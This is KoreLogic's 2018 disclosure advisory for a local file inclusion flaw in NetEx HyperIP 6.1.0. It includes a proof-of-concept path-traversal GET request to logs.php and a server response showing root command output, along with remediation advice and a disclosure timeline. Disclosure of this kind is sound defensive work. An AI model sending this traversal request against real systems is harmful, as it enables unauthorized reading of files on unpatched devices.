KL-001-2018-005 : NetEx HyperIP Local File Inclusion Vulnerability
Title: NetEx HyperIP Local File Inclusion Vulnerability
Advisory ID: KL-001-2018-005
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-005.txt
1. Vulnerability Details
Affected Vendor: NetEx
Affected Product: HyperIP
Affected Version: 6.1.0
Platform: Embedded Linux
CWE Classification: CWE-73: External Control of File Name or Path, CWE-592: Authentication Bypass Issues
Impact: Arbitrary Filesystem Reads
Attack vector: HTTPS
2. Vulnerability Description
Local files can be included within the HTTP response given
by logs.php
3. Technical Description
Any arbitrary file, such as the one created in KL-001-2018-004, can
be returned by the logs.php script.
GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 13:07:51 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 502
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<head>
<meta HTTP-EQUIV="Expires" CONTENT="0">
<link REL="stylesheet" HREF="bdstyles.css" TYPE="text/css">
</head>
<body class="dsp">
<H1>Show System Log <font size=2>[ Monday @ 08:07:51 ]</font></H1>
<pre>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
</pre>
</body>
</html>
4. Mitigation and Remediation Recommendation
The vendor has released version 6.1.1 of HyperIP, which they state
addresses this vulnerability.
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2017.07.24 - KoreLogic submits vulnerability details to NetEx.
2017.07.24 - NetEx confirms receipt.
2017.08.16 - NetEx informs KoreLogic that this and other reported
vulnerabilities have been addressed in the forthcoming
release. ETA as of yet undetermined.
2017.09.05 - 30 business days have elapsed since the vulnerability
was reported to NetEx.
2017.09.19 - NetEx informs KoreLogic that the forthcoming release
6.1.1 is expected to ship at the end of January 2018.
2017.09.26 - 45 business days have elapsed since the vulnerability
was reported to NetEx.
2017.12.01 - 90 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.17 - 120 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
has gone live.
2018.02.08 - KoreLogic public disclosure.
7. Proof of Concept
See 3. Technical Description.
The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
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